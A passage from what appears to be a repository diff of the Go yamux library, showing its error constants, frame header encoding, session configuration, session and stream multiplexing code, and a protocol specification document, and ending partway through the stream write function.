func (s *Stream) RemoteAddr() net.Addr {
return s.session.RemoteAddr()
}
+182
View File
@@ -0,0 +1,182 @@
package yamux
import (
"encoding/binary"
"fmt"
)
// NetError implements net.Error
type NetError struct {
err error
timeout bool
temporary bool
}
func (e *NetError) Error() string {
return e.err.Error()
}
func (e *NetError) Timeout() bool {
return e.timeout
}
func (e *NetError) Temporary() bool {
return e.temporary
}
var (
// ErrInvalidVersion means we received a frame with an
// invalid version
ErrInvalidVersion = fmt.Errorf("invalid protocol version")
// ErrInvalidMsgType means we received a frame with an
// invalid message type
ErrInvalidMsgType = fmt.Errorf("invalid msg type")
// ErrSessionShutdown is used if there is a shutdown during
// an operation
ErrSessionShutdown = fmt.Errorf("session shutdown")
// ErrStreamsExhausted is returned if we have no more
// stream ids to issue
ErrStreamsExhausted = fmt.Errorf("streams exhausted")
// ErrDuplicateStream is used if a duplicate stream is
// opened inbound
ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
// ErrReceiveWindowExceeded indicates the window was exceeded
ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
// ErrTimeout is used when we reach an IO deadline
ErrTimeout = &NetError{
err: fmt.Errorf("i/o deadline reached"),
// Error should meet net.Error interface for timeouts for compatability
// with standard library expectations, such as http servers.
timeout: true,
}
// ErrStreamClosed is returned when using a closed stream
ErrStreamClosed = fmt.Errorf("stream closed")
// ErrUnexpectedFlag is set when we get an unexpected flag
ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
// ErrRemoteGoAway is used when we get a go away from the other side
ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
// ErrConnectionReset is sent if a stream is reset. This can happen
// if the backlog is exceeded, or if there was a remote GoAway.
ErrConnectionReset = fmt.Errorf("connection reset")
// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
// timeout writing to the underlying stream connection.
ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
)
const (
// protoVersion is the only version we support
protoVersion uint8 = 0
)
const (
// Data is used for data frames. They are followed
// by length bytes worth of payload.
typeData uint8 = iota
// WindowUpdate is used to change the window of
// a given stream. The length indicates the delta
// update to the window.
typeWindowUpdate
// Ping is sent as a keep-alive or to measure
// the RTT. The StreamID and Length value are echoed
// back in the response.
typePing
// GoAway is sent to terminate a session. The StreamID
// should be 0 and the length is an error code.
typeGoAway
)
const (
// SYN is sent to signal a new stream. May
// be sent with a data payload
flagSYN uint16 = 1 << iota
// ACK is sent to acknowledge a new stream. May
// be sent with a data payload
flagACK
// FIN is sent to half-close the given stream.
// May be sent with a data payload.
flagFIN
// RST is used to hard close a given stream.
flagRST
)
const (
// initialStreamWindow is the initial stream window size
initialStreamWindow uint32 = 256 * 1024
)
const (
// goAwayNormal is sent on a normal termination
goAwayNormal uint32 = iota
// goAwayProtoErr sent on a protocol error
goAwayProtoErr
// goAwayInternalErr sent on an internal error
goAwayInternalErr
)
const (
sizeOfVersion = 1
sizeOfType = 1
sizeOfFlags = 2
sizeOfStreamID = 4
sizeOfLength = 4
headerSize = sizeOfVersion + sizeOfType + sizeOfFlags +
sizeOfStreamID + sizeOfLength
)
type header []byte
func (h header) Version() uint8 {
return h[0]
}
func (h header) MsgType() uint8 {
return h[1]
}
func (h header) Flags() uint16 {
return binary.BigEndian.Uint16(h[2:4])
}
func (h header) StreamID() uint32 {
return binary.BigEndian.Uint32(h[4:8])
}
func (h header) Length() uint32 {
return binary.BigEndian.Uint32(h[8:12])
}
func (h header) String() string {
return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
}
func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
h[0] = protoVersion
h[1] = msgType
binary.BigEndian.PutUint16(h[2:4], flags)
binary.BigEndian.PutUint32(h[4:8], streamID)
binary.BigEndian.PutUint32(h[8:12], length)
}
+118
View File
@@ -0,0 +1,118 @@
package yamux
import (
"fmt"
"io"
"os"
"time"
)
// Config is used to tune the Yamux session
type Config struct {
// AcceptBacklog is used to limit how many streams may be
// waiting an accept.
AcceptBacklog int
// EnableKeepalive is used to do a period keep alive
// messages using a ping.
EnableKeepAlive bool
// KeepAliveInterval is how often to perform the keep alive
KeepAliveInterval time.Duration
// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
// we which will suspect a problem with the underlying connection and
// close it. This is only applied to writes, where's there's generally
// an expectation that things will move along quickly.
ConnectionWriteTimeout time.Duration
// MaxStreamWindowSize is used to control the maximum
// window size that we allow for a stream.
MaxStreamWindowSize uint32
// StreamOpenTimeout is the maximum amount of time that a stream will
// be allowed to remain in pending state while waiting for an ack from the peer.
// Once the timeout is reached the session will be gracefully closed.
// A zero value disables the StreamOpenTimeout allowing unbounded
// blocking on OpenStream calls.
StreamOpenTimeout time.Duration
// StreamCloseTimeout is the maximum time that a stream will allowed to
// be in a half-closed state when `Close` is called before forcibly
// closing the connection. Forcibly closed connections will empty the
// receive buffer, drop any future packets received for that stream,
// and send a RST to the remote side.
StreamCloseTimeout time.Duration
// LogOutput is used to control the log destination. Either Logger or
// LogOutput can be set, not both.
LogOutput io.Writer
// Logger is used to pass in the logger to be used. Either Logger or
// LogOutput can be set, not both.
Logger Logger
}
func (c *Config) Clone() *Config {
c2 := *c
return &c2
}
// DefaultConfig is used to return a default configuration
func DefaultConfig() *Config {
return &Config{
AcceptBacklog: 256,
EnableKeepAlive: true,
KeepAliveInterval: 30 * time.Second,
ConnectionWriteTimeout: 10 * time.Second,
MaxStreamWindowSize: initialStreamWindow,
StreamCloseTimeout: 5 * time.Minute,
StreamOpenTimeout: 75 * time.Second,
LogOutput: os.Stderr,
}
}
// VerifyConfig is used to verify the sanity of configuration
func VerifyConfig(config *Config) error {
if config.AcceptBacklog <= 0 {
return fmt.Errorf("backlog must be positive")
}
if config.KeepAliveInterval == 0 {
return fmt.Errorf("keep-alive interval must be positive")
}
if config.MaxStreamWindowSize < initialStreamWindow {
return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
}
if config.LogOutput != nil && config.Logger != nil {
return fmt.Errorf("both Logger and LogOutput may not be set, select one")
} else if config.LogOutput == nil && config.Logger == nil {
return fmt.Errorf("one of Logger or LogOutput must be set, select one")
}
return nil
}
// Server is used to initialize a new server-side connection.
// There must be at most one server-side connection. If a nil config is
// provided, the DefaultConfiguration will be used.
func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, false), nil
}
// Client is used to initialize a new client-side connection.
// There must be at most one client-side connection.
func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, true), nil
}
+749
View File
@@ -0,0 +1,749 @@
package yamux
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"math"
"net"
"strings"
"sync"
"sync/atomic"
"time"
)
// Session is used to wrap a reliable ordered connection and to
// multiplex it into multiple streams.
type Session struct {
// remoteGoAway indicates the remote side does
// not want futher connections. Must be first for alignment.
remoteGoAway int32
// localGoAway indicates that we should stop
// accepting futher connections. Must be first for alignment.
localGoAway int32
// nextStreamID is the next stream we should
// send. This depends if we are a client/server.
nextStreamID uint32
// config holds our configuration
config *Config
// logger is used for our logs
logger Logger
// conn is the underlying connection
conn io.ReadWriteCloser
// bufRead is a buffered reader
bufRead *bufio.Reader
// pings is used to track inflight pings
pings map[uint32]chan struct{}
pingID uint32
pingLock sync.Mutex
// streams maps a stream id to a stream, and inflight has an entry
// for any outgoing stream that has not yet been established. Both are
// protected by streamLock.
streams map[uint32]*Stream
inflight map[uint32]struct{}
streamLock sync.Mutex
// synCh acts like a semaphore. It is sized to the AcceptBacklog which
// is assumed to be symmetric between the client and server. This allows
// the client to avoid exceeding the backlog and instead blocks the open.
synCh chan struct{}
// acceptCh is used to pass ready streams to the client
acceptCh chan *Stream
// sendCh is used to mark a stream as ready to send,
// or to send a header out directly.
sendCh chan *sendReady
// recvDoneCh is closed when recv() exits to avoid a race
// between stream registration and stream shutdown
recvDoneCh chan struct{}
sendDoneCh chan struct{}
// shutdown is used to safely close a session
shutdown bool
shutdownErr error
shutdownCh chan struct{}
shutdownLock sync.Mutex
shutdownErrLock sync.Mutex
}
// sendReady is used to either mark a stream as ready
// or to directly send a header
type sendReady struct {
Hdr []byte
mu sync.Mutex // Protects Body from unsafe reads.
Body []byte
Err chan error
}
// newSession is used to construct a new session
func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
logger := config.Logger
if logger == nil {
logger = log.New(config.LogOutput, "", log.LstdFlags)
}
s := &Session{
config: config,
logger: logger,
conn: conn,
bufRead: bufio.NewReader(conn),
pings: make(map[uint32]chan struct{}),
streams: make(map[uint32]*Stream),
inflight: make(map[uint32]struct{}),
synCh: make(chan struct{}, config.AcceptBacklog),
acceptCh: make(chan *Stream, config.AcceptBacklog),
sendCh: make(chan *sendReady, 64),
recvDoneCh: make(chan struct{}),
sendDoneCh: make(chan struct{}),
shutdownCh: make(chan struct{}),
}
if client {
s.nextStreamID = 1
} else {
s.nextStreamID = 2
}
go s.recv()
go s.send()
if config.EnableKeepAlive {
go s.keepalive()
}
return s
}
// IsClosed does a safe check to see if we have shutdown
func (s *Session) IsClosed() bool {
select {
case <-s.shutdownCh:
return true
default:
return false
}
}
// CloseChan returns a read-only channel which is closed as
// soon as the session is closed.
func (s *Session) CloseChan() <-chan struct{} {
return s.shutdownCh
}
// NumStreams returns the number of currently open streams
func (s *Session) NumStreams() int {
s.streamLock.Lock()
num := len(s.streams)
s.streamLock.Unlock()
return num
}
// Open is used to create a new stream as a net.Conn
func (s *Session) Open() (net.Conn, error) {
conn, err := s.OpenStream()
if err != nil {
return nil, err
}
return conn, nil
}
// OpenStream is used to create a new stream
func (s *Session) OpenStream() (*Stream, error) {
if s.IsClosed() {
return nil, ErrSessionShutdown
}
if atomic.LoadInt32(&s.remoteGoAway) == 1 {
return nil, ErrRemoteGoAway
}
// Block if we have too many inflight SYNs
select {
case s.synCh <- struct{}{}:
case <-s.shutdownCh:
return nil, ErrSessionShutdown
}
GET_ID:
// Get an ID, and check for stream exhaustion
id := atomic.LoadUint32(&s.nextStreamID)
if id >= math.MaxUint32-1 {
return nil, ErrStreamsExhausted
}
if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
goto GET_ID
}
// Register the stream
stream := newStream(s, id, streamInit)
s.streamLock.Lock()
s.streams[id] = stream
s.inflight[id] = struct{}{}
s.streamLock.Unlock()
if s.config.StreamOpenTimeout > 0 {
go s.setOpenTimeout(stream)
}
// Send the window update to create
if err := stream.sendWindowUpdate(); err != nil {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
}
return nil, err
}
return stream, nil
}
// setOpenTimeout implements a timeout for streams that are opened but not established.
// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
// and close the session.
// The number of running timers is bounded by the capacity of the synCh.
func (s *Session) setOpenTimeout(stream *Stream) {
timer := time.NewTimer(s.config.StreamOpenTimeout)
defer timer.Stop()
select {
case <-stream.establishCh:
return
case <-s.shutdownCh:
return
case <-timer.C:
// Timeout reached while waiting for ACK.
// Close the session to force connection re-establishment.
s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
s.Close()
}
}
// Accept is used to block until the next available stream
// is ready to be accepted.
func (s *Session) Accept() (net.Conn, error) {
conn, err := s.AcceptStream()
if err != nil {
return nil, err
}
return conn, err
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStream() (*Stream, error) {
select {
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
select {
case <-ctx.Done():
return nil, ctx.Err()
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// Close is used to close the session and all streams.
// Attempts to send a GoAway before closing the connection.
func (s *Session) Close() error {
s.shutdownLock.Lock()
defer s.shutdownLock.Unlock()
if s.shutdown {
return nil
}
s.shutdown = true
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = ErrSessionShutdown
}
s.shutdownErrLock.Unlock()
close(s.shutdownCh)
s.conn.Close()
<-s.recvDoneCh
s.streamLock.Lock()
defer s.streamLock.Unlock()
for _, stream := range s.streams {
stream.forceClose()
}
<-s.sendDoneCh
return nil
}
// exitErr is used to handle an error that is causing the
// session to terminate.
func (s *Session) exitErr(err error) {
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = err
}
s.shutdownErrLock.Unlock()
s.Close()
}
// GoAway can be used to prevent accepting further
// connections. It does not close the underlying conn.
func (s *Session) GoAway() error {
return s.waitForSend(s.goAway(goAwayNormal), nil)
}
// goAway is used to send a goAway message
func (s *Session) goAway(reason uint32) header {
atomic.SwapInt32(&s.localGoAway, 1)
hdr := header(make([]byte, headerSize))
hdr.encode(typeGoAway, 0, 0, reason)
return hdr
}
// Ping is used to measure the RTT response time
func (s *Session) Ping() (time.Duration, error) {
// Get a channel for the ping
ch := make(chan struct{})
// Get a new ping id, mark as pending
s.pingLock.Lock()
id := s.pingID
s.pingID++
s.pings[id] = ch
s.pingLock.Unlock()
// Send the ping request
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagSYN, 0, id)
if err := s.waitForSend(hdr, nil); err != nil {
return 0, err
}
// Wait for a response
start := time.Now()
select {
case <-ch:
case <-time.After(s.config.ConnectionWriteTimeout):
s.pingLock.Lock()
delete(s.pings, id) // Ignore it if a response comes later.
s.pingLock.Unlock()
return 0, ErrTimeout
case <-s.shutdownCh:
return 0, ErrSessionShutdown
}
// Compute the RTT
return time.Since(start), nil
}
// keepalive is a long running goroutine that periodically does
// a ping to keep the connection alive.
func (s *Session) keepalive() {
for {
select {
case <-time.After(s.config.KeepAliveInterval):
_, err := s.Ping()
if err != nil {
if err != ErrSessionShutdown {
s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
s.exitErr(ErrKeepAliveTimeout)
}
return
}
case <-s.shutdownCh:
return
}
}
}
// waitForSendErr waits to send a header, checking for a potential shutdown
func (s *Session) waitForSend(hdr header, body []byte) error {
errCh := make(chan error, 1)
return s.waitForSendErr(hdr, body, errCh)
}
// waitForSendErr waits to send a header with optional data, checking for a
// potential shutdown. Since there's the expectation that sends can happen
// in a timely manner, we enforce the connection write timeout here.
func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
select {
case s.sendCh <- ready:
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
bodyCopy := func() {
if body == nil {
return // A nil body is ignored.
}
// In the event of session shutdown or connection write timeout,
// we need to prevent `send` from reading the body buffer after
// returning from this function since the caller may re-use the
// underlying array.
ready.mu.Lock()
defer ready.mu.Unlock()
if ready.Body == nil {
return // Body was already copied in `send`.
}
newBody := make([]byte, len(body))
copy(newBody, body)
ready.Body = newBody
}
select {
case err := <-errCh:
return err
case <-s.shutdownCh:
bodyCopy()
return ErrSessionShutdown
case <-timer.C:
bodyCopy()
return ErrConnectionWriteTimeout
}
}
// sendNoWait does a send without waiting. Since there's the expectation that
// the send happens right here, we enforce the connection write timeout if we
// can't queue the header to be sent.
func (s *Session) sendNoWait(hdr header) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
select {
case s.sendCh <- &sendReady{Hdr: hdr}:
return nil
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
}
// send is a long running goroutine that sends data
func (s *Session) send() {
if err := s.sendLoop(); err != nil {
s.exitErr(err)
}
}
func (s *Session) sendLoop() error {
defer close(s.sendDoneCh)
var bodyBuf bytes.Buffer
for {
bodyBuf.Reset()
select {
case ready := <-s.sendCh:
// Send a header if ready
if ready.Hdr != nil {
_, err := s.conn.Write(ready.Hdr)
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
ready.mu.Lock()
if ready.Body != nil {
// Copy the body into the buffer to avoid
// holding a mutex lock during the write.
_, err := bodyBuf.Write(ready.Body)
if err != nil {
ready.Body = nil
ready.mu.Unlock()
s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
asyncSendErr(ready.Err, err)
return err
}
ready.Body = nil
}
ready.mu.Unlock()
if bodyBuf.Len() > 0 {
// Send data from a body if given
_, err := s.conn.Write(bodyBuf.Bytes())
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
// No error, successful send
asyncSendErr(ready.Err, nil)
case <-s.shutdownCh:
return nil
}
}
}
// recv is a long running goroutine that accepts new data
func (s *Session) recv() {
if err := s.recvLoop(); err != nil {
s.exitErr(err)
}
}
// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
var (
handlers = []func(*Session, header) error{
typeData: (*Session).handleStreamMessage,
typeWindowUpdate: (*Session).handleStreamMessage,
typePing: (*Session).handlePing,
typeGoAway: (*Session).handleGoAway,
}
)
// recvLoop continues to receive data until a fatal error is encountered
func (s *Session) recvLoop() error {
defer close(s.recvDoneCh)
hdr := header(make([]byte, headerSize))
for {
// Read the header
if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
}
return err
}
// Verify the version
if hdr.Version() != protoVersion {
s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
return ErrInvalidVersion
}
mt := hdr.MsgType()
if mt < typeData || mt > typeGoAway {
return ErrInvalidMsgType
}
if err := handlers[mt](s, hdr); err != nil {
return err
}
}
}
// handleStreamMessage handles either a data or window update frame
func (s *Session) handleStreamMessage(hdr header) error {
// Check for a new stream creation
id := hdr.StreamID()
flags := hdr.Flags()
if flags&flagSYN == flagSYN {
if err := s.incomingStream(id); err != nil {
return err
}
}
// Get the stream
s.streamLock.Lock()
stream := s.streams[id]
s.streamLock.Unlock()
// If we do not have a stream, likely we sent a RST
if stream == nil {
// Drain any data on the wire
if hdr.MsgType() == typeData && hdr.Length() > 0 {
s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
return nil
}
} else {
s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
}
return nil
}
// Check if this is a window update
if hdr.MsgType() == typeWindowUpdate {
if err := stream.incrSendWindow(hdr, flags); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// Read the new data
if err := stream.readData(hdr, flags, s.bufRead); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// handlePing is invokde for a typePing frame
func (s *Session) handlePing(hdr header) error {
flags := hdr.Flags()
pingID := hdr.Length()
// Check if this is a query, respond back in a separate context so we
// don't interfere with the receiving thread blocking for the write.
if flags&flagSYN == flagSYN {
go func() {
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagACK, 0, pingID)
if err := s.sendNoWait(hdr); err != nil {
s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
}
}()
return nil
}
// Handle a response
s.pingLock.Lock()
ch := s.pings[pingID]
if ch != nil {
delete(s.pings, pingID)
close(ch)
}
s.pingLock.Unlock()
return nil
}
// handleGoAway is invokde for a typeGoAway frame
func (s *Session) handleGoAway(hdr header) error {
code := hdr.Length()
switch code {
case goAwayNormal:
atomic.SwapInt32(&s.remoteGoAway, 1)
case goAwayProtoErr:
s.logger.Printf("[ERR] yamux: received protocol error go away")
return fmt.Errorf("yamux protocol error")
case goAwayInternalErr:
s.logger.Printf("[ERR] yamux: received internal error go away")
return fmt.Errorf("remote yamux internal error")
default:
s.logger.Printf("[ERR] yamux: received unexpected go away")
return fmt.Errorf("unexpected go away received")
}
return nil
}
// incomingStream is used to create a new incoming stream
func (s *Session) incomingStream(id uint32) error {
// Reject immediately if we are doing a go away
if atomic.LoadInt32(&s.localGoAway) == 1 {
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
// Allocate a new stream
stream := newStream(s, id, streamSYNReceived)
s.streamLock.Lock()
defer s.streamLock.Unlock()
// Check if stream already exists
if _, ok := s.streams[id]; ok {
s.logger.Printf("[ERR] yamux: duplicate stream declared")
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return ErrDuplicateStream
}
// Register the stream
s.streams[id] = stream
// Check if we've exceeded the backlog
select {
case s.acceptCh <- stream:
return nil
default:
// Backlog exceeded! RST the stream
s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
delete(s.streams, id)
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
}
// closeStream is used to close a stream once both sides have
// issued a close. If there was an in-flight SYN and the stream
// was not yet established, then this will give the credit back.
func (s *Session) closeStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
}
}
delete(s.streams, id)
s.streamLock.Unlock()
}
// establishStream is used to mark a stream that was in the
// SYN Sent state as established.
func (s *Session) establishStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
delete(s.inflight, id)
} else {
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
}
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
}
s.streamLock.Unlock()
}
+140
View File
@@ -0,0 +1,140 @@
# Specification
We use this document to detail the internal specification of Yamux.
This is used both as a guide for implementing Yamux, but also for
alternative interoperable libraries to be built.
# Framing
Yamux uses a streaming connection underneath, but imposes a message
framing so that it can be shared between many logical streams. Each
frame contains a header like:
* Version (8 bits)
* Type (8 bits)
* Flags (16 bits)
* StreamID (32 bits)
* Length (32 bits)
This means that each header has a 12 byte overhead.
All fields are encoded in network order (big endian).
Each field is described below:
## Version Field
The version field is used for future backward compatibility. At the
current time, the field is always set to 0, to indicate the initial
version.
## Type Field
The type field is used to switch the frame message type. The following
message types are supported:
* 0x0 Data - Used to transmit data. May transmit zero length payloads
depending on the flags.
* 0x1 Window Update - Used to updated the senders receive window size.
This is used to implement per-session flow control.
* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
and do keep-alives over TCP.
* 0x3 Go Away - Used to close a session.
## Flag Field
The flags field is used to provide additional information related
to the message type. The following flags are supported:
* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
window update message. Also sent with a ping to indicate outbound.
* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
or window update message. Also sent with a ping to indicate response.
* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
message or window update.
* 0x8 RST - Reset a stream immediately. May be sent with a data or
window update message.
## StreamID Field
The StreamID field is used to identify the logical stream the frame
is addressing. The client side should use odd ID's, and the server even.
This prevents any collisions. Additionally, the 0 ID is reserved to represent
the session.
Both Ping and Go Away messages should always use the 0 StreamID.
## Length Field
The meaning of the length field depends on the message type:
* Data - provides the length of bytes following the header
* Window update - provides a delta update to the window size
* Ping - Contains an opaque value, echoed back
* Go Away - Contains an error code
# Message Flow
There is no explicit connection setup, as Yamux relies on an underlying
transport to be provided. However, there is a distinction between client
and server side of the connection.
## Opening a stream
To open a stream, an initial data or window update frame is sent
with a new StreamID. The SYN flag should be set to signal a new stream.
The receiver must then reply with either a data or window update frame
with the StreamID along with the ACK flag to accept the stream or with
the RST flag to reject the stream.
Because we are relying on the reliable stream underneath, a connection
can begin sending data once the SYN flag is sent. The corresponding
ACK does not need to be received. This is particularly well suited
for an RPC system where a client wants to open a stream and immediately
fire a request without waiting for the RTT of the ACK.
This does introduce the possibility of a connection being rejected
after data has been sent already. This is a slight semantic difference
from TCP, where the connection cannot be refused after it is opened.
Clients should be prepared to handle this by checking for an error
that indicates a RST was received.
## Closing a stream
To close a stream, either side sends a data or window update frame
along with the FIN flag. This does a half-close indicating the sender
will send no further data.
Once both sides have closed the connection, the stream is closed.
Alternatively, if an error occurs, the RST flag can be used to
hard close a stream immediately.
## Flow Control
When Yamux is initially starts each stream with a 256KB window size.
There is no window size for the session.
To prevent the streams from stalling, window update frames should be
sent regularly. Yamux can be configured to provide a larger limit for
windows sizes. Both sides assume the initial 256KB window, but can
immediately send a window update as part of the SYN/ACK indicating a
larger window.
Both sides should track the number of bytes sent in Data frames
only, as only they are tracked as part of the window size.
## Session termination
When a session is being terminated, the Go Away message should
be sent. The Length should be set to one of the following to
provide an error code:
* 0x0 Normal termination
* 0x1 Protocol error
* 0x2 Internal error
+556
View File
@@ -0,0 +1,556 @@
package yamux
import (
"bytes"
"errors"
"io"
"sync"
"sync/atomic"
"time"
)
type streamState int
const (
streamInit streamState = iota
streamSYNSent
streamSYNReceived
streamEstablished
streamLocalClose
streamRemoteClose
streamClosed
streamReset
)
// Stream is used to represent a logical stream
// within a session.
type Stream struct {
recvWindow uint32
sendWindow uint32
id uint32
session *Session
state streamState
stateLock sync.Mutex
recvBuf *bytes.Buffer
recvLock sync.Mutex
controlHdr header
controlErr chan error
controlHdrLock sync.Mutex
sendHdr header
sendErr chan error
sendLock sync.Mutex
recvNotifyCh chan struct{}
sendNotifyCh chan struct{}
readDeadline atomic.Value // time.Time
writeDeadline atomic.Value // time.Time
// establishCh is notified if the stream is established or being closed.
establishCh chan struct{}
// closeTimer is set with stateLock held to honor the StreamCloseTimeout
// setting on Session.
closeTimer *time.Timer
}
// newStream is used to construct a new stream within
// a given session for an ID
func newStream(session *Session, id uint32, state streamState) *Stream {
s := &Stream{
id: id,
session: session,
state: state,
controlHdr: header(make([]byte, headerSize)),
controlErr: make(chan error, 1),
sendHdr: header(make([]byte, headerSize)),
sendErr: make(chan error, 1),
recvWindow: initialStreamWindow,
sendWindow: initialStreamWindow,
recvNotifyCh: make(chan struct{}, 1),
sendNotifyCh: make(chan struct{}, 1),
establishCh: make(chan struct{}, 1),
}
s.readDeadline.Store(time.Time{})
s.writeDeadline.Store(time.Time{})
return s
}
// Session returns the associated stream session
func (s *Stream) Session() *Session {
return s.session
}
// StreamID returns the ID of this stream
func (s *Stream) StreamID() uint32 {
return s.id
}
// Read is used to read from the stream
func (s *Stream) Read(b []byte) (n int, err error) {
defer asyncNotify(s.recvNotifyCh)
START:
// If the stream is closed and there's no data buffered, return EOF
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
// LocalClose only prohibits further local writes. Handle reads normally.
case streamRemoteClose:
fallthrough
case streamClosed:
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
s.stateLock.Unlock()
return 0, io.EOF
}
s.recvLock.Unlock()
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
goto WAIT
}
// Read any bytes
n, _ = s.recvBuf.Read(b)
s.recvLock.Unlock()
// Send a window update potentially
err = s.sendWindowUpdate()
if err == ErrSessionShutdown {
err = nil
}
return n, err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
readDeadline := s.readDeadline.Load().(time.Time)
if !readDeadline.IsZero() {
delay := time.Until(readDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.recvNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// Write is used to write to the stream
func (s *Stream) Write(b []byte) (n int, err error) {
s.sendLock.Lock()
defer s.sendLock.Unlock()
total := 0
for total < len(b) {
n, err := s.write(b[total:])
total += n
if err != nil {
return total, err
}
}
return total, nil
}
// write is used to write to the stream, may return on
// a short write.
func (s *Stream) write(b []byte) (n int, err error) {
var flags uint16
var max uint32
var body []byte
START:
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
fallthrough
case streamClosed:
s.stateLock.Unlock()
return 0, ErrStreamClosed
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
